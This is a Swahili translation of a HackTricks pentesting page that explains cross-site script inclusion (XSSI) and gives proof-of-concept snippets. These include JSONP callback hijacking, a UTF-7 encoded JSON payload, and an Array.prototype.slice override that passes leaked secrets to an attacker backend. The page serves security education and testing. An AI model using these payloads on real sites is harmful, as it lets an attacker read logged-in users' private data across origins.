hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md
2024-02-11 02:13:58 +00:00

97 lines
7.6 KiB
Markdown

# XSSI (Unganishaji wa Skripti kati ya Tovuti)
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Taarifa Msingi
**Unganishaji wa Skripti kati ya Tovuti (XSSI)** ni udhaifu unaojitokeza kutokana na asili ya lebo ya `script` katika HTML. Tofauti na rasilimali nyingi, ambazo zinategemea **Sera ya Chanzo Kimoja (SOP)**, skripti zinaweza kuunganishwa kutoka kwenye kikoa tofauti. Tabia hii inalenga kurahisisha matumizi ya maktaba na rasilimali zingine zilizohifadhiwa kwenye seva tofauti lakini pia inaleta hatari ya usalama.
### Sifa Kuu za **XSSI**:
- **Kuvuka Sera ya Chanzo Kimoja**: Skripti hazifuati **Sera ya Chanzo Kimoja**, hivyo zinaweza kuunganishwa kati ya vikoa tofauti.
- **Ufunuo wa Data**: Mshambuliaji anaweza kutumia tabia hii kusoma data iliyopakiwa kupitia lebo ya `script`.
- **Athari kwa JavaScript ya Kudumu/JSONP**: **XSSI** ni muhimu hasa kwa JavaScript ya kudumu au **JSON na Padding (JSONP)**. Teknolojia hizi mara nyingi hutumia habari ya "mamlaka ya mazingira" (kama vile vidakuzi) kwa uthibitishaji. Wakati ombi la skripti linapofanywa kwa mwenyeji tofauti, vitambulisho hivi (k.m., vidakuzi) hujumuishwa moja kwa moja katika ombi hilo.
- **Kuvuja kwa Kitufe cha Uthibitishaji**: Ikiwa mshambuliaji anaweza kuudanganya kivinjari cha mtumiaji kuomba skripti kutoka kwenye seva wanayoidhibiti, wanaweza kupata habari nyeti iliyomo katika maombi hayo.
### Aina
1. **JavaScript ya Statis** - Hii inawakilisha aina ya kawaida ya XSSI.
2. **JavaScript ya Statis na Uthibitishaji** - Aina hii ni tofauti kwa sababu inahitaji uthibitishaji ili kupata.
3. **JavaScript ya Kudumu** - Inahusisha JavaScript ambayo inazalisha maudhui kwa njia ya kudumu.
4. **Sio-JavaScript** - Inahusu udhaifu ambao hauna kuhusiana moja kwa moja na JavaScript.
**Taarifa ifuatayo ni muhtasari wa [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Angalia kwa maelezo zaidi.
### XSSI ya Kawaida
Katika njia hii, habari za kibinafsi zimejumuishwa ndani ya faili ya JavaScript inayopatikana kwa umma. Wadukuzi wanaweza kutambua faili hizi kwa kutumia njia kama kusoma faili, kutafuta maneno muhimu, au kutumia taratibu za kawaida. Mara ilipogunduliwa, skripti inayohusisha habari za kibinafsi inaweza kuunganishwa katika maudhui ya hatari, kuruhusu ufikiaji usiohalali wa data nyeti. Tekniki ya udanganyifu inayofanana na hii inaonyeshwa hapa chini:
```html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
### Dynamic-JavaScript-based-XSSI na Authenticated-JavaScript-XSSI
Aina hizi za mashambulizi ya XSSI zinahusisha habari za siri kuongezwa kwa skripti kwa kujibu ombi la mtumiaji. Uchunguzi unaweza kufanywa kwa kutuma maombi na bila kuki na kulinganisha majibu. Ikiwa habari inatofautiana, inaweza kuashiria uwepo wa habari za siri. Mchakato huu unaweza kufanywa kiotomatiki kwa kutumia zana kama [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) kifaa cha Burp.
Ikiwa data ya siri imehifadhiwa katika kivinjari cha kawaida, inaweza kudukuliwa kwa kutumia njia kama zile zinazotumiwa katika XSSI ya Kawaida. Walakini, ikiwa data ya siri imejumuishwa katika jibu la JSONP, wadukuzi wanaweza kuchukua udhibiti wa kazi ya kurejesha habari. Hii inaweza kufanywa kwa kubadilisha vitu vya kawaida au kuweka kazi iliyoandaliwa kutekelezwa na jibu la JSONP, kama inavyoonyeshwa hapa chini:
```html
<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
```
```html
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
Kwa mabadiliko ya kipekee yasiyokuwa katika anga ya kawaida, *kuchafua kwa kigezo* mara nyingi inaweza kutumiwa. Mbinu hii inatumia muundo wa JavaScript, ambapo tafsiri ya nambari inahusisha kupitia mnyororo wa kigezo ili kupata mali inayoitwa. Kwa kubadilisha baadhi ya kazi fulani, kama vile `slice` ya `Array`, wahalifu wanaweza kupata na kuvuja kigezo ambacho sio cha kimataifa:
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
Maelezo zaidi juu ya njia za mashambulizi zinaweza kupatikana katika kazi ya Mtafiti wa Usalama [Sebastian Lekies](https://twitter.com/slekies), ambaye anasimamia orodha ya [njia za mashambulizi](http://sebastian-lekies.de/leak/).
### Non-Script-XSSI
Utafiti wa Takeshi Terada unaleta aina nyingine ya XSSI, ambapo faili za Non-Script, kama CSV, zinavuja kwa msalaba kwa kuingizwa kama vyanzo katika lebo ya `script`. Mifano ya zamani ya XSSI, kama shambulio la mwaka 2006 la Jeremiah Grossman la kusoma anwani kamili ya Google na uvujaji wa data ya JSON wa Joe Walker wa mwaka 2007, inaonyesha umuhimu wa vitisho hivi. Kwa kuongezea, Gareth Heyes anaelezea aina ya mashambulizi inayohusisha JSON iliyofungwa kwa UTF-7 ili kuepuka muundo wa JSON na kutekeleza scripts, inayofanya kazi kwa vivinjari fulani:
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
```html
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>